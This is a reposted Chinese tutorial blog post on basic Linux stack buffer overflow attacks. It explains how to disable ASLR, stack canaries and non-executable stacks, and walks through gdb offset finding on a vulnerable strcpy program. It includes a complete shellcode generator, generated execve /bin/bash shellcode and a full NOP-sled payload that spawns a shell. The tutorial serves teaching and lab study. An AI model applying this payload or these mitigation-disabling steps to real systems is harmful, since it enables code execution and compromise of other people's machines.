转自:http://blog.csdn.net/wangxiaolong_china/article/details/6844415

版权声明:本文为博主原创文章,未经博主允许不得转载。

转载请注明出处:http://blog.csdn.net/wangxiaolong_china

1.1    Linux栈溢出保护机制

基本的栈溢出攻击,是最早产生的一种缓冲区溢出攻击方法,它是所有其他缓冲区溢出攻击的基础。但是,由于这种攻击方法产生的时间比较长,故而GCC编译器、Linux操作系统提供了一些机制来阻止这种攻击方法对系统产生危害。下面首先了解一下现有的用于保护堆栈的机制以及关闭相应保护机制的方法,为进一步分析基本栈溢出提供了良好的实验环境。

1.       内存地址随机化机制

在Ubuntu和其他基于linux内核的系统中,目前都采用内存地址随机化的机制来初始化堆栈,这将会使得猜测具体的内存地址变得十分困难。

关闭内存地址随机化机制的方法是:

sysctl –w kernel.randomize_va_space=0

2.       可执行程序的屏蔽保护机制

对于Federal系统,默认会执行可执行程序的屏蔽保护机制,该机制不允许执行存储在栈中的代码,这会使得缓冲区溢出攻击变得无效。而Ubuntu系统中默认没有采用这种机制。

关闭可执行程序的屏蔽保护机制的方法是:

sysctl –w kernel.exec-shield=0

3.       gcc编译器gs验证码机制

gcc编译器专门为防止缓冲区溢出而采取的保护措施,具体方法是gcc首先在缓冲区被写入之前在buf的结束地址之后返回地址之前放入随机的gs验证码,并在缓冲区写入操作结束时检验该值。通常缓冲区溢出会从低地址到高地址覆写内存,所以如果要覆写返回地址,则需要覆写该gs验证码。这样就可以通过比较写入前和写入后gs验证码的数据,判断是否产生溢出。

关闭gcc编译器gs验证码机制的方法是:

在gcc编译时采用-fno-stack-protector选项。

4.       ld链接器堆栈段不可执行机制

ld链接器在链接程序的时候,如果所有的.o文件的堆栈段都标记为不可执行,那么整个库的堆栈段才会被标记为不可执行;相反,即使只有一个.0文件的堆栈段被标记为可执行,那么整个库的堆栈段将被标记为可执行。检查堆栈段可执行性的方法是:

如果是检查ELF库:readelf -lW $BIN | grep GNU_STACK查看是否有E标记

如果是检查生成的.o文件:scanelf -e $BIN查看是否有X标记

ld链接器如果将堆栈段标记为不可执行,即使控制了eip产生了跳转,依然会产生段错误。

关闭ld链接器不可执行机制的方法是:

在gcc编译时采用-z execstack选项。

1.1   基本栈溢出攻击原理及实验

下面,将用一个栈溢出攻击的例子的方式,来详细的讲解基本的栈溢出攻击的详细方法步骤。

在进行试验之前,先利用上面讲解的方法,将相应的栈保护机制关闭掉。

  1. root@linux:~/pentest# sysctl -w kernel.randomize_va_space=0
  2. kernel.randomize_va_space = 0
  3. root@linux:~/pentest# sysctl -w kernel.exec-shield=0
  4. error: "kernel.exec-shield" is an unknown key

代码如下:

  1. root@linux:~/pentest# cat vulnerable.c
  2. #include <stdio.h>
  3. #include <string.h>
  4. int main(int argc, char **argv) {
  5. char buffer[500];
  6. strcpy(buffer, argv[1]);
  7. return 0;
  8. }

编译源码:

  1. root@linux:~/pentest# gcc -fno-stack-protector -z execstack -g -o vulnerable vulnerable.c

用gdb调试该程序:

  1. root@linux:~/pentest# gdb vulnerable
  2. GNU gdb (Ubuntu/Linaro 7.2-1ubuntu11) 7.2
  3. Copyright (C) 2010 Free Software Foundation, Inc.
  4. License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
  5. This is free software: you are free to change and redistribute it.
  6. There is NO WARRANTY, to the extent permitted by law.  Type "show copying"
  7. and "show warranty" for details.
  8. This GDB was configured as "i686-linux-gnu".
  9. For bug reporting instructions, please see:
  10. <http://www.gnu.org/software/gdb/bugs/>...
  11. Reading symbols from /root/pentest/vulnerable...done.
  12. (gdb) disass main
  13. Dump of assembler code for function main:
  14. 0x080483c4 <+0>:   push   %ebp
  15. 0x080483c5 <+1>:   mov    %esp,%ebp
  16. 0x080483c7 <+3>:   and    {1}xfffffff0,%esp
  17. 0x080483ca <+6>:   sub    {1}x210,%esp
  18. 0x080483d0 <+12>:  mov    0xc(%ebp),%eax
  19. 0x080483d3 <+15>:  add    {1}x4,%eax
  20. 0x080483d6 <+18>:  mov    (%eax),%eax
  21. 0x080483d8 <+20>:  mov    %eax,0x4(%esp)
  22. 0x080483dc <+24>:  lea    0x1c(%esp),%eax
  23. 0x080483e0 <+28>:  mov    %eax,(%esp)
  24. 0x080483e3 <+31>:  call   0x80482f4 <strcpy@plt>
  25. 0x080483e8 <+36>:  mov    {1}x0,%eax
  26. 0x080483ed <+41>:  leave
  27. 0x080483ee <+42>:  ret
  28. End of assembler dump.
  29. (gdb)

此时在调用strcpy之前,main函数栈帧结构分析如下图所示:

根据此时的栈帧分布可知,要想控制eip的值,就必须往buffer[500]中至少填入508B的内容。

接下来我们继续用gdb调试:

  1. (gdb) b *main+41
  2. Breakpoint 1 at 0x80483ed: file vulnerable.c, line 11.
  3. (gdb) r `perl -e 'print "\x41"x508'`
  4. Starting program: /root/pentest/vulnerable `perl -e 'print "\x41"x508'`
  5. Breakpoint 1, main (argc=2, argv=0xbffff264) at vulnerable.c:11
  6. 11  }
  7. (gdb) c
  8. Continuing.
  9. Program exited normally.
  10. (gdb)

往buffer中填入508个字符的内容,程序正常结束并退出。这说明栈并没有溢出,填入数据量太少。可是,正如上文中我们分析的那样,程序理论上栈溢出确实需要508个字符就可以了。问题出在哪里呢?重新分析代码和反汇编之后的代码,我们不难发现,问题产生的原因在于“0x080483c7 <+3>:       and    $0xfffffff0,%esp”这条语句。下面我们将继续用gdb调试,分析一下该语句如何影响我们的溢出的。

  1. (gdb) disass main
  2. Dump of assembler code for function main:
  3. 0x080483c4 <+0>:   push   %ebp
  4. 0x080483c5 <+1>:   mov    %esp,%ebp
  5. 0x080483c7 <+3>:   and    {1}xfffffff0,%esp
  6. 0x080483ca <+6>:   sub    {1}x210,%esp
  7. 0x080483d0 <+12>:  mov    0xc(%ebp),%eax
  8. 0x080483d3 <+15>:  add    {1}x4,%eax
  9. 0x080483d6 <+18>:  mov    (%eax),%eax
  10. 0x080483d8 <+20>:  mov    %eax,0x4(%esp)
  11. 0x080483dc <+24>:  lea    0x1c(%esp),%eax
  12. 0x080483e0 <+28>:  mov    %eax,(%esp)
  13. 0x080483e3 <+31>:  call   0x80482f4 <strcpy@plt>
  14. 0x080483e8 <+36>:  mov    {1}x0,%eax
  15. 0x080483ed <+41>:  leave
  16. 0x080483ee <+42>:  ret
  17. End of assembler dump.
  18. (gdb) b *main+3
  19. Breakpoint 2 at 0x80483c7: file vulnerable.c, line 4.
  20. (gdb) b *main+6
  21. Breakpoint 3 at 0x80483ca: file vulnerable.c, line 4.
  22. (gdb) r `perl -e 'print "\x41"x508'`
  23. Starting program: /root/pentest/vulnerable `perl -e 'print "\x41"x508'`
  24. Breakpoint 2, 0x080483c7 in main (argc=2, argv=0xbffff264) at vulnerable.c:4
  25. 4   int main(int argc, char **argv) {
  26. (gdb) i r esp
  27. esp            0xbffff1b8   0xbffff1b8
  28. (gdb) c
  29. Continuing.
  30. Breakpoint 3, 0x080483ca in main (argc=2, argv=0xbffff264) at vulnerable.c:4
  31. 4   int main(int argc, char **argv) {
  32. (gdb) i r esp
  33. esp            0xbffff1b0   0xbffff1b0
  34. (gdb)

通过调试可以看到,在执行“0x080483c7 <+3>: and    $0xfffffff0,%esp”语句之前,esp的值是“0xbffff1b8”,在执行完该语句之后,esp的值是“0xbffff1b0”。故esp的值减少了8,也就是说,要想控制eip的值,还需要多填入8个字,即需要516个字符来填充buffer。

  1. (gdb) r `perl -e 'print "\x41"x516'`
  2. Starting program: /root/pentest/vulnerable `perl -e 'print "\x41"x516'`
  3. Program received signal SIGSEGV, Segmentation fault.
  4. 0x41414141 in ?? ()
  5. (gdb)

可以看到溢出成功!

下面我们用gdb调试,看一些溢出的过程,具体分析就不写了,相信熟悉gdb的话对这些调试信息会一目了然的:

  1. (gdb) b *main+41
  2. Breakpoint 1 at 0x80483ed: file vulnerable.c, line 11.
  3. (gdb) r `perl -e 'print "\x41"x516'`
  4. Starting program: /root/pentest/vulnerable `perl -e 'print "\x41"x516'`
  5. Breakpoint 1, main (argc=0, argv=0xbffff254) at vulnerable.c:11
  6. 11  }
  7. (gdb) i r ebp
  8. ebp            0xbffff1a8   0xbffff1a8
  9. (gdb) i r esp
  10. esp            0xbfffef90   0xbfffef90
  11. (gdb) i r eip
  12. eip            0x80483ed    0x80483ed <main+41>
  13. (gdb) x/550bx $esp
  14. 0xbfffef90: 0xac    0xef    0xff    0xbf    0xf6    0xf3    0xff    0xbf
  15. 0xbfffef98: 0x00    0x00    0x00    0x00    0x00    0x00    0x00    0x00
  16. 0xbfffefa0: 0xa4        0xf0        0xff        0xbf    0x08    0x00    0x00    0x00
  17. 0xbfffefa8: 0x3c    0xd5    0x12    0x00    0x41    0x41    0x41    0x41
  18. 0xbfffefb0: 0x41    0x41    0x41    0x41    0x41    0x41    0x41    0x41
  19. 0xbfffefb8: 0x41    0x41    0x41    0x41    0x41    0x41    0x41    0x41
  20. 0xbfffefc0: 0x41    0x41    0x41    0x41    0x41    0x41    0x41    0x41
  21. 0xbfffefc8: 0x41    0x41    0x41    0x41    0x41    0x41    0x41    0x41
  22. 0xbfffefd0: 0x41    0x41    0x41    0x41    0x41    0x41    0x41    0x41
  23. 0xbfffefd8: 0x41    0x41    0x41    0x41    0x41    0x41    0x41    0x41
  24. ………………………………………………………………………………………………
  25. 0xbffff198: 0x41    0x41    0x41    0x41    0x41    0x41    0x41    0x41
  26. 0xbffff1a0: 0x41    0x41    0x41    0x41    0x41    0x41    0x41    0x41
  27. 0xbffff1a8: 0x41    0x41    0x41    0x41    0x41    0x41    0x41    0x41
  28. 0xbffff1b0: 0x00    0x00    0x00    0x00    0x54    0xf2
  29. (gdb)
  30. (gdb) stepi
  31. 0x080483ee in main (argc=0, argv=0xbffff254) at vulnerable.c:11
  32. 11  }
  33. (gdb) i r ebp
  34. ebp            0x41414141   0x41414141
  35. (gdb) i r esp
  36. esp            0xbffff1ac   0xbffff1ac
  37. (gdb) i r eip
  38. eip            0x80483ee    0x80483ee <main+42>
  39. (gdb) x/10bx $esp
  40. 0xbffff1ac: 0x41    0x41    0x41    0x41    0x00    0x00    0x00    0x00
  41. 0xbffff1b4: 0x54    0xf2
  42. (gdb) stepi
  43. 0x41414141 in ?? ()
  44. (gdb) i r eip
  45. eip            0x41414141   0x41414141
  46. (gdb)

既然我们已经找到eip返回地址的位置,那么就可以覆写返回地址,控制程序的执行流程。

接下来,首先需要一段shellcode,关于如何编写shellcode的问题,我们留到下一节讲解,这一节中我们使用一个从网上找到的shellcode生成程序来生成一段shellcode。Shellcode生成程序源码为:

  1. /*
  2. [] Shellcode Generator null byte free. []
  3. [] Author: certaindeath            []
  4. [] Site: certaindeath.netii.net (at the moment under construction)   []
  5. [] This program generates a shellcode which uses the stack to store the command (and its arguments).   []
  6. [] Afterwords it executes the command with the system call "execve". []
  7. [] The code is a bit knotty, so if you want to understand how it works, I've added an example of assembly at the end.   []
  8. */
  9. #include <stdio.h>
  10. #include <stdlib.h>
  11. #include <string.h>
  12. #include <unistd.h>
  13. #include <linux/types.h>
  14. #define SETRUID 0 //set this to 1 if you want the shellcode to do setreuid(0,0) before the shell command
  15. void print_c(__u8*,int);
  16. void push_shc(__u8*, char*, int*);
  17. int main(int argc, char *argv[]){
  18. char cmd[255], *a;
  19. FILE *c;
  20. int k=0, totl=(SETRUID ? 32:22), b,b1, i, tmp=0, shp=2;
  21. __u8 *shc,start[2]={0x31,0xc0}, end[16]={0xb0,0x0b,0x89,0xf3,0x89,0xe1,0x31,0xd2,0xcd,0x80,0xb0,0x01,0x31,0xdb,0xcd,0x80}, struid[10]={0xb0,0x46,0x31,0xdb,0x31,0xc9,0xcd,0x80,0x31,0xc0};
  22. if(argc<2){
  23. printf(" ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n"
  24. "|      Shellcode Generator      |\n"
  25. "|        by certaindeath        |\n"
  26. "|                               |\n"
  27. "|  Usage: ./generator <cmd>     |\n"
  28. " ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n");
  29. _exit(1);
  30. }
  31. a=(char *)malloc((9+strlen(argv[1]))*sizeof(char));
  32. //find the command path
  33. a[0]=0;
  34. strcat(a, "whereis ");
  35. strcat(a, argv[1]);
  36. c=popen(a, "r");
  37. while(((cmd[0]=fgetc(c))!=' ')&&(!feof(c)));
  38. while(((cmd[k++]=fgetc(c))!=' ')&&(!feof(c)));
  39. cmd[--k]=0;
  40. if(k==0){
  41. printf("No executables found for the command \"%s\".\n", argv[1]);
  42. _exit(1);
  43. }
  44. if(strlen(cmd)>254){
  45. printf("The lenght of the command path can't be over 254 bye.\n");
  46. _exit(1);
  47. }
  48. for(i=2;i<argc;i++)
  49. if(strlen(argv[i])>254){
  50. printf("The lenght of each command argument can't be over 254 byte.\n");
  51. _exit(1);
  52. }
  53. //work out the final shellcode lenght
  54. b=(k%2);
  55. b1=(b==1) ? (((k-1)/2)%2) : ((k/2)%2);
  56. totl+=(6+5*((k-(k%4))/4)+4*b1+7*b);
  57. for(i=2; i<argc;i++){
  58. k=strlen(argv[i]);
  59. b=(k%2);
  60. b1=(b==1) ? (((k-1)/2)%2) : ((k/2)%2);
  61. totl+=(6+5*((k-(k%4))/4)+4*b1+7*b);
  62. }
  63. totl+=4*(argc-2);
  64. printf("Shellcode lenght: %i\n", totl);
  65. //build the shellcode
  66. shc=(__u8 *)malloc((totl+1)*sizeof(__u8));
  67. memcpy(shc, start, 2);
  68. if(SETRUID){
  69. memcpy(shc+shp, struid, 10);
  70. shp+=10;
  71. }
  72. if(argc>2)
  73. push_shc(shc, argv[argc-1], &shp);
  74. else
  75. push_shc(shc, cmd, &shp);
  76. memset(shc+(shp++), 0x89, 1);
  77. memset(shc+(shp++), 0xe6, 1);
  78. if(argc>2){
  79. for(i=argc-2;i>1;i--)
  80. push_shc(shc, argv[i], &shp);
  81. push_shc(shc, cmd, &shp);
  82. }
  83. memset(shc+(shp++), 0x50, 1);
  84. memset(shc+(shp++), 0x56, 1);
  85. if(argc>2){
  86. for(i=argc-2;i>1;i--){
  87. memset(shc+(shp++), 0x83, 1);
  88. memset(shc+(shp++), 0xee, 1);
  89. memset(shc+(shp++), strlen(argv[i])+1, 1);
  90. memset(shc+(shp++), 0x56, 1);
  91. }
  92. memset(shc+(shp++), 0x83, 1);
  93. memset(shc+(shp++), 0xee, 1);
  94. memset(shc+(shp++), strlen(cmd)+1, 1);
  95. memset(shc+(shp++), 0x56, 1);
  96. }
  97. memcpy(shc+shp, end, 16);
  98. print_c(shc,totl);
  99. return 0;
  100. }
  101. void print_c(__u8 *s,int l){
  102. int k;
  103. for(k=0;k<l;k++){
  104. printf("\\x%.2x", s[k]);
  105. if(((k+1)%8)==0) printf("\n");
  106. }
  107. printf("\n");
  108. }
  109. void push_shc(__u8 *out, char *str, int *sp){
  110. int i=strlen(str), k, b, b1, tmp=i;
  111. __u8 pushb_0[6]={0x83,0xec,0x01,0x88,0x04,0x24},pushb[6]={0x83,0xec,0x01,0xc6,0x04,0x24};
  112. memcpy(out+(*sp), pushb_0, 6);
  113. *sp+=6;
  114. for(k=0;k<((i-(i%4))/4);k++){
  115. memset(out+((*sp)++), 0x68, 1);
  116. tmp-=4;
  117. memcpy(out+(*sp), str+tmp, 4);
  118. *sp+=4;
  119. }
  120. b=(i%2);
  121. b1=(b==1) ? (((i-1)/2)%2) : ((i/2)%2);
  122. if(b1){
  123. memset(out+((*sp)++), 0x66, 1);
  124. memset(out+((*sp)++), 0x68, 1);
  125. tmp-=2;
  126. memcpy(out+(*sp), str+tmp, 2);
  127. *sp+=2;
  128. }
  129. if(b){
  130. memcpy(out+(*sp), pushb, 6);
  131. *sp+=6;
  132. memcpy(out+((*sp)++), str+(--tmp), 1);
  133. }
  134. }
  135. /*
  136. Here is the assembly code of a shellcode which executes the command "ls -l /dev".
  137. This is the method used by the shellcode generator.
  138. .global _start
  139. _start:
  140. xorl %eax, %eax         ;clear eax
  141. subl $1, %esp           ; "/dev" pushed into the stack with a null byte at the end
  142. movb %al, (%esp)
  143. push {1}x7665642f
  144. movl %esp, %esi         ;esp(address of "/dev") is saved in esi
  145. subl $1, %esp           ;"-l" pushed into the stack with a null byte at the end
  146. movb %al, (%esp)
  147. pushw {1}x6c2d
  148. subl $1, %esp           ;"/bin/ls" pushed into the stack with a null byte at the end
  149. movb %al, (%esp)
  150. push {1}x736c2f6e
  151. pushw {1}x6962
  152. subl $1, %esp
  153. movb {1}x2f, (%esp)
  154. ;now the vector {"/bin/ls", "-l", "/dev", NULL} will be created into the stack
  155. push %eax           ;the NULL pointer pushed into the stack
  156. push %esi           ;the address of "/dev" pushed into the stack
  157. subl $3, %esi           ;the lenght of "-l"(with a null byte) is subtracted from the address of "/dev"
  158. push %esi           ;to find the address of "-l" and then push it into the stack
  159. subl $8, %esi           ;the same thing is done with the address of "/bin/ls"
  160. push %esi
  161. movb $11, %al           ;finally the system call execve("/bin/ls", {"/bin/ls", "-l", "/dev", NULL}, 0)
  162. movl %esi, %ebx         ;is executed
  163. movl %esp, %ecx
  164. xor %edx, %edx
  165. int {1}x80
  166. movb $1, %al            ;_exit(0);
  167. xor %ebx, %ebx
  168. int {1}x80
  169. */

使用方法是:

  1. root@linux:~/pentest# gcc -o shellcode_generator shellcode_generator.c
  2. root@linux:~/pentest# ./shellcode_generator /bin/bash
  3. Shellcode lenght: 45
  4. \x31\xc0\x83\xec\x01\x88\x04\x24
  5. \x68\x62\x61\x73\x68\x68\x62\x69
  6. \x6e\x2f\x83\xec\x01\xc6\x04\x24
  7. \x2f\x89\xe6\x50\x56\xb0\x0b\x89
  8. \xf3\x89\xe1\x31\xd2\xcd\x80\xb0
  9. \x01\x31\xdb\xcd\x80
  10. root@linux:~/pentest#

现在,提供一种填充buffer覆写返回地址的方案(不唯一,只提供一种可行的方案):

#################################################################

“\x90” * 431  +  shellcode(45) +  shellcode地址(4字节) * 10  ==  516B

#################################################################

其中,“\x90”代表NOP空指令,故shellcode地址可以替换为自buffer起始地址和shellcode起始地址之间的任意一个地址。

到目前为止,我们已经构造出了我们的溢出代码,如下:

  1. (gdb) run `perl -e 'print
  2. "\x90"x431,"\x31\xc0\x83\xec\x01\x88\x04\x24\x68\x62\x61\x73\x68\x68\x62\x69\x6e\x2f\x83\xec\x01\xc6\x04\x24\x2f\x89\xe6\x50\x56\xb0\x0b\x89\xf3\x89\xe1\x31\xd2\xcd\x80\xb0\x01\x31\xdb\xcd\x80","\xac\xef\xff\xbf"x10'`
  3. The program being debugged has beenstarted already.
  4. Start it from the beginning? (y or n)y
  5. Starting program:/root/pentest/vulnerable `perl -e 'print
  6. "\x90"x431,"\x31\xc0\x83\xec\x01\x88\x04\x24\x68\x62\x61\x73\x68\x68\x62\x69\x6e\x2f\x83\xec\x01\xc6
  7. \x04\x24\x2f\x89\xe6\x50\x56\xb0\x0b\x89\xf3\x89\xe1\x31\xd2\xcd\x80\xb0\x01\x31\xdb\xcd\x80",
  8. "\xac\xef\xff\xbf"x10'`
  9. process3724 is executing new program: /bin/bash
  10. root@linux:/root/pentest# exit
  11. exit
  12. Program exited normally.
  13. (gdb)

可以看到,我们的溢出代码成功的执行了shellcode,并获得了相应的shell。

到此为止,栈溢出攻击成功。

附:由于%gs验证码的存在,在开启%gs校验时,上面的方案只能在gdb调试环境下成功完成栈溢出。

Linux下基本栈溢出攻击【转】的更多相关文章

  1. Linux下的DOS攻击

    Linux下的DOS攻击 DOS是Denial of service的简称,即拒绝服务,造成Dos攻击行为被称为Dos攻击,其目的是使计算机或网络无法提供正常的服务.最常见的Dos攻击有计算机带宽攻击 ...

  2. Linux下缓冲区溢出攻击的原理及对策(转载)

    前言 从逻辑上讲进程的堆栈是由多个堆栈帧构成的,其中每个堆栈帧都对应一个函数调用.当函数调用发生时,新的堆栈帧被压入堆栈:当函数返回时,相应的堆栈帧从堆栈中弹出.尽管堆栈帧结构的引入为在高级语言中实现 ...

  3. Linux下缓冲区溢出攻击的原理及对策

    前言 从逻辑上讲进程的堆栈是由多个堆栈帧构成的,其中每个堆栈帧都对应一个函数调用.当函数调用发生时,新的堆栈 帧被压入堆栈:当函数返回时,相应的堆栈帧从堆栈中弹出.尽管堆栈帧结构的引入为在高级语言中实 ...

  4. linux下查看cc攻击

    什么是CC攻击?CC攻击就是利用大量代理服务器对目标计算机发起大量连接,导致目标服务器资源枯竭造成拒绝服务.那么如何判断查询CC攻击呢?本文主要介绍了一些Linux下判断CC攻击的命令. 查看所有80 ...

  5. Linux下防御DDOS攻击的操作梳理

    DDOS的全称是Distributed Denial of Service,即"分布式拒绝服务攻击",是指击者利用大量“肉鸡”对攻击目标发动大量的正常或非正常请求.耗尽目标主机资源 ...

  6. LINUX下SYN FLOOD攻击及LINUX下SYN攻防简述

    LINUX下SYN攻防战如下 (一)SYN攻击原理 SYN攻击属于DOS攻击的一种,它利用TCP协议缺陷,通过发送大量的半连接请求,耗费服务器CPU和内存资源.SYN攻击聊了能影响主机外,还可以危害路 ...

  7. kali linux下的arp攻击

    这是我第一篇博客,写的不好请谅解 ____________________________(分割线)_______________________________ 在kali linux系统下自带工具 ...

  8. WINDOWS平台下的栈溢出攻击从0到1(篇幅略长但非常值得一看)

    到1的这个过程.笔者也希望能够通过这些技术分享帮助更多的朋友走入到二进制安全的领域中.2.文章拓扑由于本篇文章的篇幅略长,所以笔者在这里放一个文章的拓扑,让大家能够在开始阅读文章之前对整个文章的体系架 ...

  9. Linux下防御ddos攻击

    导读 Linux服务器在运营过程中可能会受到黑客攻击,常见的攻击方式有SYN,DDOS等.通过更换IP,查找被攻击的站点可能避开攻击,但是中断服务的时间比较长.比较彻底的解决方法是添置硬件防火墙.不过 ...

随机推荐

  1. matlab eval【转】

    Matlab 简单谈谈EVAL函数的用法 EVAL(s)相当于把字符串s的内容作为语句来执行. 比如:eval('a=3*5') 和直接在command 窗口中输入 a=3*5 等效 eval 一个经 ...

  2. 使用getRequestDispatcher跳转后 能获取到request.setAttribute数据 分析

  3. linux文件服务器:samba服务器

    windows上,需要和linux虚拟机进行方便的文件交互,总结一下遇到的问题. 1.samba简介 windows和windows之间共享文件可以用“网上邻居”,linux和linux间共享文件用 ...

  4. Select-poll-epoll-简介

    1. Python的select()方法直接调用操作系统的IO接口,它监控sockets,open files, and pipes(所有带fileno()方法的文件句柄)何时变成readable 和 ...

  5. 转:learning to rank学习

    learning to rank学习 转: http://blog.csdn.net/xuqianghit/article/details/8947819 1. 什么是learning to rank ...

  6. BZOJ1053:[HAOI2007]反素数——题解

    http://www.lydsy.com/JudgeOnline/problem.php?id=1053 对于任何正整数x,其约数的个数记作g(x).例如g(1)=1.g(6)=4.如果某个正整数x满 ...

  7. 洛谷 P2324 [SCOI2005]骑士精神 解题报告

    P2324 [SCOI2005]骑士精神 题目描述 输入输出格式 输入格式: 第一行有一个正整数T(T<=10),表示一共有N组数据.接下来有T个5×5的矩阵,0表示白色骑士,1表示黑色骑士,* ...

  8. Linux之初试驱动20160613

    这篇文章主要介绍一下Linux内核下的驱动结构与书写,以及介绍Linux下简单使用驱动的应用程序: 首先我们直接看使用驱动的简单应用程序: #include <sys/types.h> # ...

  9. JQuery选择符的理解与应用

    JQuery强大的选择符可以让我们获得页面中任何元素进行操作,并且使用简单方便,可读性强.本章内容根据本人在开发中常用到的选择符作为例子来进行讲解,如有更多常用的简单的例子可回复提供,参与讨论,一起学 ...

  10. 淘淘搜索结果中image属性中有多张图片的处理

    solr引擎查询某一个 商品后的结果中,image字段中如果有多张图片路径(用逗号隔开)时,前台会不 显示图片,解决方法如下: package com.taotao.portal.pojo; publ ...